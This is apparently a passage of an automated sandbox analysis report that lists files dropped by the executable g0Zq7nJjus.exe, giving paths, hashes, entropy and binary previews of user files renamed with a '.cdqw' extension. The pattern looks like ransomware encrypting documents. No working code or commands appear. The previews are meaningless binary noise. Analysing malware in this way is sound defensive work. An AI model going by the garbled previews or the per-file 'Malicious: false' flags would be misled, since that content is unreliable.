SSDEEP:	384:J+xa/t+xxIKYjbbG2ZQ/KGFhZIRo0rOMvL:Tt+xfyu2+KGFXUz
MD5:	30C7AE99471EF6DAAB2AAAB9EE37BD98
SHA1:	DD02A793D8C6454A3594348EE4343C804BD53E35
SHA-256:	32D84E658883EB305850AD13DA08A89B983BD97D03B6E91E46E6E9A35B312AE2
SHA-512:	67D0418EA981F0C4EFF23B022EC11B8D3B0C683131D2610A742391181CF473C69E3C88F223A6A7EDB3A82559E1460DADDC15B676D77EF3C3AFE983CE99A30A09
Malicious:	false
Preview:	.......r..9,Ts....Y. t'Q].[!.g..e...VnT....:.u/l....J..}.fWv....@............\uF.G...~..:....E3ED1.3R.......I.:..E..j..[....t..zA....I-....I.~.fL..@[o..j...fp..-...1...u.Qgh..GV...)...o...O...B.qc..........%`U#..:.J.}....:{.b"..&.W..t...s.{n..=o.\.kl........?....6_-K~.......5G. h..>J.D.y>.7&o.&..:....hC~x._..7.x&...........j...gY..,.\K..[...3..%...:l..w...o.....L......sU.`.s....K.._f-..^'...[..r...Y.runT....%.T.H.z(.QU.1#....j...8.e.C...F.p.'..=..Nj...o.mu.a8..........1.......B..G...qG.R...C..xr..T..l...P....y.w=.9t.Z.hN..;^T.gu..B.3.......7.0..F...p.k.K...n.@s.=....Q.k.b..hME..O.....fX.^...hQ5/fa.K...g.$.f.t......o.(..?...F/.V.A...........e.U..Hi...{X..P.~..sR..j...K...W.\k!.`#.&I_I..<B....}9.z+.N...n.~......x$y.0......{5.i...M.s q...[d.@[......u....HI.........Q."h...w.r.`.}.P.....R..4.5....].....MG~j..d..0`.zT.`..7.`...].'.....;&.0>O\|.IEh........ti.......k..=...CF....p(.Sam.;=....G[.."..em ....s.^~C...[...f.s.[X..d....

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\permanent\chrome\.metadata-v2

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	TTComp archive data, binary, 4K dictionary
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.3678379228734245
Encrypted:	false
SSDEEP:	6:K7CV2ewXv5jevfKeh3i20bDoc51Q3q8mF/JVj02k8qcqQXyM3/9EX1lnIS1WdNcq:mCc/Nevyeh3GnjEaja2kt03/9GWSUdNX
MD5:	3DEC05EAB197E718AFDD2D3846C95FF0
SHA1:	54160D70C0CD23416B8E65DC3B870FDB8244E6E3
SHA-256:	C08CC53E984633739DCB2BE2CE24E24FBBA36F1A2938225ED35C185F0BEA8101
SHA-512:	6963D50480E5659BF65A754FFCCE77C0720B5249374FFF8120F8257B58BBE384107E536D2CD1D38E2EC601B9F7E63E9DFE54275A7937B885FD60EB48A528EC85
Malicious:	false
Preview:	.....).M-.............._9..r..B..1..}..=.6... ..F.A3,.n]B...6....].5...\|):q?..z..{.$.... E...;.].7..W..J1.j..r!L..N7.......P..{.B....dlGt.~..'.k8x.%...[..2`.w......>.C.r.....Z(5.].....wTb...........:<.J..F;."..<..... l..u.>z1".} .$.._)a.=.......j.......,....W7f....z.'...^.@.[.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.385817052790709
Encrypted:	false
SSDEEP:	6:6c+s835xznvlQqQm1sUAODvdKsPGclC6BgHtp/pfOlnIS1WdNcii96Z:6Rnv71sUAmd946B0RGWSUdNcii9a
MD5:	093096DC213384C8E1D84713A10BE7B7
SHA1:	6BF018DD793734F741055663B197045527857766
SHA-256:	DF20DCB9FF59AFE4D36FFB4377D82F7EEC7D547065334FEA25986EFB37BAC2CF
SHA-512:	B722EF9E04881082AE2F059532FC88002FF9F5C96844A2F9B34665150E65456358E646AA2720BFD431FD476AB72F75291DE9511A35CA46D206C2455F31162BE8
Malicious:	false
Preview:	%PDFTt<....hRO.9e..{+.U.[..]R....m).Fo,....".y.M,......j'...1{..X.;..L.g...O..M.q.P,.y4e...>z..Z.Y<...d..9.e=..S$..!....I_i..O..^.....u.Z..?.s.LzC...[>N&sIO....e.l..P..y.._....`hG..w....b....o..JxPZ....AyU..W.:PL.....0m.Dxr\..6..L.B.OO.......F>n...%...50..........*nI..+.$/.....(mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.324352324443703
Encrypted:	false
SSDEEP:	12:Odd/rWM1Lt3+PnbSAErkGrQTpO4dzSUdNcii9a:OfrWK8pYfr+pOr2bD
MD5:	FC857568CB3A4721B1A703B62E059A05
SHA1:	2406F1188F7954AC93B85B4E97C43353C3A6122C
SHA-256:	F1DE31E087445E17822B50AD78B5E547DF1EAD43F3231D0D6E2B3905B15D212F
SHA-512:	5D244E611E79F3A3116E2FF8F3B86421854858B8310CD41AB7227290475D4B121CF1A97395E1C822ABECAAF90CAEEE24F58C268A9395CC7892C7FABA696C55C1
Malicious:	false
Preview:	%PDFT.w.8US.2.9....]S...I).....N4>Z..RT.s..'.F....Q/R...3.@....t.!.[S....y~. .......P.~M$W..~;dU.....`8..[.$p..n6:3../.S........ZT.pN..^l..Q..........\$.K..9..\|.....0.sm6E.}.....E.<o.j.p.R.LE...S.G..W..R1k.T.>....,....8..C...<$....2S.)..>cU..$...c.L...ru.I.....!7Yo..R...'~..S...c.!.u.Jd..,.*....y<mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.845684820361408
Encrypted:	false
SSDEEP:	24:1zzJ83hGIhb3b4FgHBs0z0f+HdEXJFy7ikDg6rReAf0RrOQ7lLeef7+2bD:JzchvV3b4Fb92H2Q0ERifRLn5D
MD5:	2959A041AA6883DCCE330D94E9428187
SHA1:	6DE82D3448BC97CF810F182A04DF7FEC3C0AA8C9
SHA-256:	4DF29D458CD6A3A2E2D8DD4D53391B8D71454A9571FB080FE8C57E518E247D49
SHA-512:	D882F7F6BCC24D1F0FE49EDFF8E4CBC21E3FDEE21FE14E7705DA342E74E4268FEF4CFE22DE180805E0ED33C858BE5F2DE993C96ED618141E6B9AD2D11005D20B
Malicious:	false
Preview:	<?xml.Yj.M.0_...f..#iN.Q.^...sU..u=Y.MQt..(#.W..E_..x.s..z].......P.B>..`.....B........!..}...\....P.f.".9...<....W..C...&GN....F.cL.l..E..V..j..-}..e&.N..... ..^V}....&......0......~.8..g....k.X2..^....^h..v...L.f4..%J>.G.g..]..S./V..Ak..x(..Fb..L......r..Fd\A....bX.......r..._....QquU.&....C.......x..;X.'e.6....-{+.vR:7r..{.Z..:}..,...%.... ..F(..h..:...O.$...X!.[.Q..<.R)B.go+.C}..K.q.o.v.#@.HL..A:.....QR.By....x...A..J}).%/j..l.XX."...MoD...@Na."q#a1o. X.:...b#.W.5..%.t....e.V.Q..e.YC.9...;..j..vz.{w0H\.b....6.5pU^^...i..c.\..Xnoh....LO.............c.".(.PC.........X....\.j.5.V-....(n..c.&Z.FD....j.t{..9......CVb.-...F.........?[=..>..,.1..0....5R.5.PC...C..l....D..@5.~T.t...Y$..Q..V.>.j.s....$TQ..p..[.:..ey...Z).... ...D.....')$.KCS.V=..\|:i...t....5m'.4}...m.\|.....+rl......D...Tv..HU../.\|....R...eG..[.cv-..-..C..3!._J.<.."z.1.>.z.-...)?=e..t.P.......,'0..W.e.6W.H..v.Z..B..d...q.....z.t.Pn2.....g.SF.4........<.....Og#.'..9V..s#

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2441
Entropy (8bit):	7.92541851980483
Encrypted:	false
SSDEEP:	48:iCqB/b7Jv57R85Xg4vzkMF34l0Ba6580jXir6C+XL5jPb/UD:iNRv5NIXgnm34he/XiD+djI
MD5:	B1D6C4B52986698B5E34A4AFDA9A3C86
SHA1:	823E7CD1281170920E200C55D6860F0B3EC09E04
SHA-256:	AA3BC285941757F2CA5CFAB2FB605313A30D433C11B2926C61C69FD080614715
SHA-512:	D55C240BEB5112AE7F5E9D6E1BA624E4D2421F17C2C4342C5A3FA9F46ABC09F6F7F46ED93B18BDADEDD94EB40112E536B14A6CC280BB92EDD55AEF69134E9283
Malicious:	false
Preview:	<?xmlp.}k@..M.I...... .&LOK..#.i..vc.(B..........$?Ql.$...N@.\n.{.[.@j.W.t.-....V%.&.K..N.^..L...W..:..]..C....L.0LH!..?!K.v..%..K.%....}!2;.(0..m.Z...g....6p....I`.U.B...,S..<.X3..6..]>.....t.2....W.]........?@...x..7[/.......J..G&.Q...g...`...4J.6......[.sz.\<.z.}N7G..y......#.h...j.f.9..m`..,..L..u<...u...(...~....E1.......b..-..3.X..eBn.u..p....Z.{..U8...C..C}.."~..).f?z..Z.+N..>..ko..iF..+.y..J..,.z...h.o.<1.....P...V....$D.\|f.).\...^...[f'1......!..Qb).T....[1E..n...,..>.C;`....qT.v.h...h.l.L-...:Gh+R..\|..Kb.WC.....dq..Fq.Cc.?....d=...8.Y_..]....\|.u_w.....j...e.......4..f.v.i.^..O}...}......(..h..^...u.5I#)#.;H.r....D..U7..%q.A"...n."...a...E..Tx...pfpmU/...q.u...%.{."..Ia..~.m.b..%.u.q.!.:........B~............E..[....[."gl.E....d....i...:..EL...KcY.. ...O0.Gc...w......5. l'T..~...v.,.1....UX.....,6..Ym..+Ae...[.{i..../.b..U../...[B..S...Y.9.a.2.".&...$/..\y..B..sR....rOB.o.E.......C..l..I....`.Uti..'..M@.[.TP.`*q..Z...t...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.92971815110979
Encrypted:	false
SSDEEP:	48:kXtNpyd2prhIFrWTm8ZEj6cnoSkb29RiuAnxgnkyDwFOVD:kdN8abKYEucol2DSi7H
MD5:	13073C436F7AD06588625968B560378E
SHA1:	8A1075F09856A65A811C3CA91B3A50D2E57C7E44
SHA-256:	41231DF9FA6F4867733BFF0ADFA9BEA5A316A7339C302C80D29D95E420C9B465
SHA-512:	695F90ABF5F9D52734EC01E1A2F4945C6F3D7EF46D3295C63DCFB2A4107E730127653847E77D49041AC7C0C1EC07CEE77E365A0F24D569CC731C2A8448CF9198
Malicious:	false
Preview:	<?xmlZ.....s....Bx.....P.....~.G../...@sFH8..Bo.+..V....+..v.....ArE>.m.@..%..w......O.b...;..g..n....k,v....)..Y...O...`.6.....o...>..r.^@....[....e......N\|',\|h.jL.....S...:....@"p..[^....L.........@`../+n.8]....<./9........E@k._..A...i.....=.9...s{..o.uB..O.......B..y...o..."^.A.U.. [.T...6{.\|.).W ...D}/....^.....,2ha@.j.q.P.5..kIX1.....?][.._".........3^..9;../8.v d'..&.(.....#..X.1K......}..D..7...x-O..i.%..>."./.... .?9.".0.(......l.>..E....v..N...d.%cKF.%#x.......:...l...Kg_....{..."6.?._f5....P....iW..1.W.w..w.T....3.l.(....J..G.H..6bc.. \../w.Au..wb.".@....I...5.b.&.n.B.n./.,g.i...K9.<.;j2.v'.q...P.K3..t...%rZ".)W.....0^hn...n.s........d....3....>.Ru..]............e..Z._..._.c`.[...c.gH.-Q......%....#...W...I..%....A.......3z...wV..;#......K..,...)...fX..8.r.a...:.b86.EI..Ch[.K. q.^xs........P<....q..!3...H2Y...[...n6.K..%*-=}q...sP/.m>{W..../.%u..+Ic.w./z..J_..0j.T..3m.._.E.Ly......g.3.@.;.T.....N\..%.[....5.y.pr .3.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2416
Entropy (8bit):	7.93045826127637
Encrypted:	false
SSDEEP:	48:IjURq7AkCjDQou7VnsaZPLdky/PT9L/uTcMhNm2tKR/6AkLD:Ijqd3jDQhVnJLdvPxLU7+CAM
MD5:	6769D0BD2AE99D01D7129C0C9DE73AD5
SHA1:	4B37779664336004A4A31705CC50E975E14B84F5
SHA-256:	1366A19E63EB33DD9F457F9A4AC8CABFB0399D836A3AE8707C235C17E3A97794
SHA-512:	FE94070F111070014E4A68A8EFBBFF79CE2F91455AE5FB83D50FE6E96B48A331ADE690FE358C1F5CC57231015D92CCFACBB7A4B762D99188A6054361E83636AA
Malicious:	false
Preview:	<?xml.*.E}._.LFAiUi...........-f...5.......n[/J..#TQ..W\5..:@.@.....F9yf....}.e.......m&.N.G....[x..4/W0..HXOH.m.qTB.c1.v......u.8.a.......ea.M..6B\|...j..+[.E..).9P..{BW ....b..4<.(..tiD.`.m8..V:v..hLt....<L.4.....%.m...=........c.Ov...z./..^.[...%....9K.I9..~dd...a...$.:... ..{p..\|.......6g...._m.F....]..`N..J)X~..']...^....r.w.....M.....e.h......u.......5mVI......&..z.V6...n...i...EzB.\|..........Yv.Z.T.....G.W.n...s.G.):.....f.a.o.....>.......l.....0.N...T..CS.....T..+..%D,..Z.fB..!.H.....I...>...`.E.......iF..F6v..9...&.;~./......sl....M.e.. .H.......>..R.}4.X..O.D...5.bz..r\t.`.E.;.$....,th!jMc...12M/7..-..^.4........0aF....A.(..z..B...-!.h.Dy.R.QO{........;.v4;r@T..9)..k.2C....6tT.`}..m....\L...._..b.o K..$FX:...L..it.t....5..v.....w....J.t......G..V.b..\|.a.8. ....W.a.7.... .......h$.s.%.ZqK..R6.r........T#.#....C.^)...L.._..1..a.:DLO.......[.....+z..g.U..X.:5......D..._7.u.m;`...,...W...)D....W..U....5d..Z..6.}..u.(.$..GE..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.865044601609867
Encrypted:	false
SSDEEP:	24:MMvqBgqzOZPVe9o3W66kbe/OgDFX+nPSrsDriLVKM9ddH2bD:MbYQo3n/e/OgDFunEsDXD
MD5:	5E518131725FB5736466DC81F5500884
SHA1:	017A4C220623AC8DC47FD9E8273D5E2969D0C8B5
SHA-256:	2B647F1A509FA5186B0993DAA077149041AC6B863FDE9136F88564EA337D42A5
SHA-512:	D94A688F5F550B347A8064B5C229117EA11B71422F368ED79FBB12F912010BE130B0D2743E6B828F42BB1618188F04D12CA187AFCC5E0A327A2F03F8717F34BC
Malicious:	false
Preview:	<?xml.cV.. ..D.u.\.Z+.n.>D{..Z.L,.S....j.......S.....2.W...r...9...5@'...;..)..r.G..8.\...L.'.\|..>.1-L.......m[..\.......x.?...4.G.....U.:....o....e\...\|o.Q....BY..x.E.m.y'i..8.._\|.Pyq{..n8..$.y..?....4..0}9qy...\|KYW...N..ak..s.-.G.K...!,.6t4.E.m##.......O.w.9.$....o\|.hr.X(.'\|.....r.m.V^..8../.....i2...BH...j(.lA4.D....#l...D.).......;{/..fz..$D...w..a.`3QcC.,`..q.r/.M.W./.>...n.np...1o...HU+.f..........B.Na..'w...[.......i5g.].....]... 5O.2/0....M7...vI.&&.q(W....oavj:..}.[..5....2.k.Z.)<d..HD.u...r.......5dA7..4...WOr.D...s..`.....gm($....!.&i.~.N.C#S..^.5.....b]......V.......[7..\|...><..)y.L...S?.=V.6....#}.Hr.ZW;.......s$.:2..P.IfF...f[.......q......a.C.v.d!S.$..........\|#..>{......-.v....(....F3...?_....B.........]....r,....`.(.....W......!...f.#....w~....ke".Iu1j......Q.9g.....xO.8...v..f.rcb6.?P87LE....F.X.E..%.8r.....)....c.e.i...p.0<......Z...\../.4A3]..jJ..."Of.....o-.Teu(>.M.g...;.....f.Jf...nV.6lKg<.E.\..

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2426
Entropy (8bit):	7.936614980344903
Encrypted:	false
SSDEEP:	48:qCFRJoiFuNwBeYfUI0Wp0OMS5Lewy/QyjOE8StD:qYaTA8IAOMScr/DjySV
MD5:	7A59998E9E07A3C436B930000F91EC09
SHA1:	B5531A6A83A5DF848D475FC843606CE7D4D79DDF
SHA-256:	CD7F0AB2B0686B78990835245E38B606D7B91C620C00539C3DED1F5ADF3580D4
SHA-512:	EFA6E14D9B8F202C7399EE7E7275B08501F77CB2AA3ECB39A78BD67C7CA82E9031CEAA3E1462B60C7EA64E7D55AA16A6BA6D1C2315EB3869B98F7813A0D61FA3
Malicious:	false
Preview:	<?xml.D..T...OD..@....H#'0.R"........a.a.j."....../.#.6.N.uT.... ...t.0..'..9)T..fx....o.........q.!f@"D. .Y....c....S..G..k....a..........I_...z........y....7.e.../.tR..".#./..T..S.J.[..~9..1......8.!.L...a..%..o.a..."..TL.~uk{...~....x.......x...v...9. ......c..l.G.Pp.U..L....R._..\N..n.Nt...S.1/h.2.....P..V.....k.,.u...G.1......m%..k(...h.E.P....E]I.H.........Q..t..p..i.>)..H"B.m...8.V..8.TYV$.ir..GR..)...K10..(C....g.SD.}X.'y......5...~A......xp.d...\...%.tT..E...e.3..r..5...[.....&.N.58n.........`...b........c.?..d.]..r.Q...$I.4.-....}%..gT$3i...9@!(..O.R....h......D.......q~..&3.W.......<.5.C%....A...]...2g..M.j!....n.iU...5.......9.4U.Q..=$.I....y.............?}.Xj... ...{...\|..kJ>...D...^..#./AWzQ..i.j...hEJ.Q..7.G/R.>}b....N.:.....\..9.B.........{aW>..vB.......~?hGb8Nk..r..E/.....p.ic....&'..{~.E.q..71..P!#.W..[..w..'..98.jW.x_.c.x.Hrh.%.G.f....K.....{IP.....5.x...7...V;.Q..`...w.7.N....Z0.r....?J..6.{.vHfY.<.4`Q...

C:\Users\user\Application Data\Microsoft\Windows\Recent\ATSCRGPSUM.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.847246715487171
Encrypted:	false
SSDEEP:	24:gTIqPz6mu1xZkbFk9tzduAj3mkYI5olGilbX0D5Cb/xtohhWBKF3/lm2bD:gMU6n10F6tzd/oHVdltohkevfD
MD5:	A10171A3101E68CFA3F3682ED0E45E7E
SHA1:	EA4F9BF1641E521E5694433EC3D3A7733D7BDD45
SHA-256:	37F3E9B6EB0F8CFD07F21FE65839C06834648756F159F1412F2F75F99A8B37F0
SHA-512:	7222CC1FEBD970EEFD316388B65EFDB814C9C68407393F8DD395E037FF7F503F6F6F5A86B5B84EBC03681D64956EC38D1731EE1228B769167DACE310CCF5829E
Malicious:	false
Preview:	ATSCR.....v..)...7..s.......x.R..g.f.}..[l7........,<....~._..I+.\..=..r.3.h......tnfgyV.9?......?...T.......u....eG.>R....[.].Zr.G..;.......<9...T..S.&.m9.z..2..z.:iM.[..`m.)..#......C%.eX`.....Rh3.>(..{.....3..=._F`8\......N.6.hd..B.pb.y...... ....@%W.......O..~.I.._.J-0....ec.D1.$b.u\|\|.\|v.p.........f..bS.\|...~$v.Zg./....I...>..."(...P.....(...7./&...Z.?.@..`.(..x...FMaB.4....2..z..A(.R.w............7.N..K..Y.p.WHlLv..;J...lW.v.T.....=R.yu7..(,.W..T..........q..Q.1.&4.1..+..}...~.}G<w:...3......`b...H.0[.+.}.w[.#...Q....Q....^W~M..F..n...2@M....a.p.w,..Cp.....?v1@..m'.d..kY..".c..Hr!....vW.`....$.R..5.,...............B.\...ew\.22x.f._.+0.7S.u&.S=...:.0fj.?...@..P....2..].y..0........F...j..Z...}...^B`)....q...G.W.......M..T..>....D......w..9=......n.h8&?...J....'(...L....u...4\..QKJ(..J(/d...D...R./ ...{..m.j~..q4B....:\|.\Q.7...-b..y8....1.<..~.[..M.76=.3o1..+>vkV...*f.qh.....F.,..V.a..8l..$..._...2.......Q.......\|MW....m.K.S.S;...

C:\Users\user\Application Data\Microsoft\Windows\Recent\BNAGMGSPLO.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.865140431158863
Encrypted:	false
SSDEEP:	24:JHId2lqHyZ42CShzD25snzgXWERUf7cftYv6KnWDCKuU8pHkfZMhAG32bD:1blqSZ43ODksn0W4UQF04RCHmWd0D
MD5:	B9C8165917FEBF2010F9F9890885978B
SHA1:	CFA90E45B60F65215D17807AA2BDFCBC724B263A
SHA-256:	1E8F0D2F291C32C2CCC622A4EB249213AC60DC82712445F5A2EC7AA9861C65CA
SHA-512:	D88442083DB8B10BF923C2A0800F6778BB4ECD217B55B879F4A039D3082755353ADE6565F0D43BA521885589BC45C7BA94EA1507F3F29DD813E75E3FC9425B41
Malicious:	false
Preview:	BNAGM.~...t.(v....x...kk.v....XiT..UI...L1.^{...D0=W&<V..F'.g.c.Q..M......>..o..(.?x..T......P.\|~:..~.L~....0....".6..e:.......f.....T.H2I.<....\|.\.t......yED..v...k...@$...T\|.=.. fH.W.@...m.N,.v'@.W...:.F..&P..M..."S&.D...Ie.\..u+.....v.,..2...N..d)\G...._.+.C.RqJfhj....9.;gl3.....(..A...4...]..h.Z.k....^ny.&..U.X=./,\|.L..)..\.JjG.F.k.l.r=.b5...k.9w....;..F..C. As.c^.."...e...kdY5.d.}...+f@.eZ....B......jX\.3t2^........8.M..*\|.$".;...SE.qR.Z.o...7..5_.Q....M!k.-4[."....i....H.A..K..L;.'....dy...V........R.q#_..9....{.i...0....Bxm.J....Z...%4..~.....G....l.W1g..EL...FO..bF.}.-....D5.V7@. Zk...@..'.(...vn..g..1Bm...G..I.} .......;....b.}...8..4..J..\..C..&A['..K.0..............<..z.d+.P.u`u......S~X..>.?._qSdS/..?....28N.>h..wl.1.S.A........i:.....v..".......,...x......I1;...#.x.ipa..E4.x5.)..H<...O3)......Az1.,2;....Z...LMhuw.....p....K..u..~y.........Xd.[..p.(.R.#.D.._pw.e..#.A.G.I%....%.3:.5A-E_^.....j..."{.../.......Y..........c0...

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.mp3.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85061127416471
Encrypted:	false
SSDEEP:	24:ZaPVx6v4rMCtqjXf2Yy0CdswjG8bdQGRnrSA0KMZ2+ToD3qgIX12X+K2bD:ZaPTIXeFVGwq82G0E+Tgqg6Y+BD
MD5:	01D996BA4F1DB2A0A6383B5310D19CDA
SHA1:	A3EC5182B332286DC34BC7B720ED7177B78CF62C
SHA-256:	80FE513EDD5BC17EFAC8F0B89551476C21313490B89105D21A6C95A26AF47538
SHA-512:	30846D2DF76A73592C74C8A05D88E0B80265AF9DA27CCACD6B8966BF0791CC59AA4817AA694B26AC2F99BD0E840934B55065BA52D7A9D0A2ADFD758DBDCEE840
Malicious:	false
Preview:	BWDRWU.rG..S=H.^.>.]....P.......c..D....wN.....n..n.G8.BH....'..H...\|.../hw'.......c.v..H3.<..Td..%;...!\|.A..7.8....e5..._y.\...,.Bf....L..9r.Z.<9....L............w+...G]...n.\|x>......~..DqRen...f/....h..[5....}]..7.G5.!.^....+...yw...<...?.{9....C....Do......`@v.c.Nw.@....L..+.k'.......H&t..Y/..(U..[Z.G.V...v7..w.+\|...:>....Ls.I0...=2p...Y.@...W..Q..YI....$5.!.0y.#....ZC.V...Xn.Y...`.y.+.4.............#7}.@x..@.t;....+a..8..C...lLA.A..U.3.Q...}.q1.:...........Q.x(N.9....K....R.+.....:I\|"..w._.&kL.q.L.d.GJ...gl..~.]z.HX;..k.M..\....<1.e.fXx.%.rm.V..{....On.....S..N...~4.4.qV.....N&.:.q.Pp%M.. ....1..u.V...4.O.n?9.k:5...v2.Fp.w<..Ye.j]P..).7.....!.3[..4....ik.._Y.}......t.A..(]b.p..3..6..H..Q.@.0.m...G4.OE.7......HQ..a.b.A..''.W.d.(y.6.T....=K?...4.f.H.b..E.......&... 7.O.0.,...f..I.b....._\..C...t..q.(.'...#.V.......IF.....P1<TVc...=..('.\I......4k.o..}...K...m4.2..v.nru.p.....l.c.KW..Yv.x.m..).X.*`o.{...L.aY.7.P.I....@....N.$..I.iM.4

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.pdf.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841051167004606
Encrypted:	false
SSDEEP:	24:ETvaM+zr+lXeHOckO+Uv5zHLiMdnRlmYJpIhsZ6P5veD7ucSnu8PG72bD:V748dkOxriUnRbJpIh3Zu8hD
MD5:	83F66F631438D7BC9778C4777D286BDB
SHA1:	94906C316FF20A5F2E7C5C8E6DF24B7AEC603FA1
SHA-256:	0757287ED393CF2E9239F16956EEA4D0E0E4C57FF9D24B6DF57CEBF34947E270
SHA-512:	3CBC50F4446E1623900FAC4676BAC74EA52AF62DF1D89CD2036B764A3B5ACD5E027F5C2A5EF7A4886EDD7756D26FA00C958953AFCAD1ECD9B2D83F66ABC76EE3
Malicious:	false
Preview:	BWDRW.,I&......Ylp......I..!r..Da.....&.44..p?E.\|8...;U......V]......Z.7.......eqaQ.....U..........?..74..7.y'..F..r@C2K.<&O8&.........%..}..`.h..."..J.......cFP...;...u\..j..\|...U..K.\|.q.......Q.f..cyUO]...). C.m!j..........i..pE.+E...H..Q.)..De.Kf1&..Q.........zu.."....mul..f9..K....D.6..hN".mtg.......=..O:...3v.....kR#k4aU.H.djQ..(....yv..bj...9JMz.HD..:...i_.q..l...x..c4.U..8..U..E$..d2S.......k..X..k.&.Ryu.]..w_D.?..........('..Cc...).+...`..b. 7W..V.0.......2..D.80w."r0.n..5.y=..)..4C...V..u.!&.(.H...Y. .j.o.Cl.YR......}..b.lPE....+-..-Y...-......7.,.P...h.8P..q:$9.1.{....q.W..O...\s.^..s..=H.%.Q..0.@..sfi.W.Ki...?/-._...u..R.....`..=_.(.t..9)...=......6..."......R.......<.A.k6lfM.D.n.#.V..N..G.F<tp.w0c.....2^....J......mt..)3.B"....\.6.g..T..>a.....p..?m7nw...../w..*..;.V.1ay.g....?....g6......[Z.........]..Y>....v.....UZ.GN.\E^..O.k..:.881?.../.U..K.vyz....o.4.....mj....M.8.B...........b!p.0 h..Q.u.y...7.!mS..^!..W..#_<.

C:\Users\user\Application Data\Microsoft\Windows\Recent\BWDRWEEARI.xlsx.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8621487222789455
Encrypted:	false
SSDEEP:	24:WXD4AzpBCnLxyArAZi6JE+wWJjgjhJEvGI0je1xR3ePf+5eOA42bD:WXDBKNylE6JE+wDJWGtqR3D5+rD
MD5:	5460662CC8BBAD0E3881D63E3C1163A1
SHA1:	779E6E9BA138CDE9719BA1994187ED5B62275A94
SHA-256:	0C4C6CD805EFC2CB3634B5CEF1D605FE5B81519DCCEB59362FDA762024DFFFC6
SHA-512:	224D5FA45DBC850924C48B2192BF565A4EF603CFD99B010B65D8938D8B4E106DAEAD1B245920BE305496FBB211632EDE67D7319F8CEDF162A85D1CBF00FD1369
Malicious:	false
Preview:	BWDRW+r.z...g4U:.....2t....v.7...l!.:.1./...P.Q .d%1..\8........:..o.\.H.0..'...N.:xW..........u...$.y.ng.$@y.\...a.G..D.H..9..=.g.R.......q.'I.9..E.b..9..........`....U..8i.v......q...'....T?..[.Q./K..u..o..\|.6.....T....@v..z.l e.@yu...z..#m..C.pAI.n.......,."..i...k/...i.C.g.........1...#..C.V..w5.... ....0..(.>.3...U.2..q.'@."V.5I....&.q..P-.<K~.R..#.P5..YZ$....X.^..C1W.=....[O...d..(.:B_O.m.9...)..7j..7..,...Js..?Ep...4......s~s.......&..............}03.V6.#.#...{7QB[2.......-..Q_...(..\|..$.MiF..;d....d5..".....H+..).iP.x.N..k5..vN.......e.......7....s1u.... ...G?.z........nf.;.t<.....h..\|..8BP.....L..W.h..V\|.1x..{.......\.HA...q5..6..m.j)9[l'.,_9..S.............3TY..D..;..G.ON.>..Q.Z.f.k.0Y...U:...'s.Z......KL,..../6.P.Rw....?..._B..2.o.g....t...........m..u...\..............[8a..t....5.]IA...{.._...w...X#y.".a...c.q...o.=e......J.%.i\|........qt&......T.Q.o...!....<.S...t.s.....y.:.D.Z.7\&I.j.g.\Q.u..a..a..\.6.7.C..e.4.

C:\Users\user\Application Data\Microsoft\Windows\Recent\DUUDTUBZFW.png.cdqw (copy)

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863881595381012
Encrypted:	false
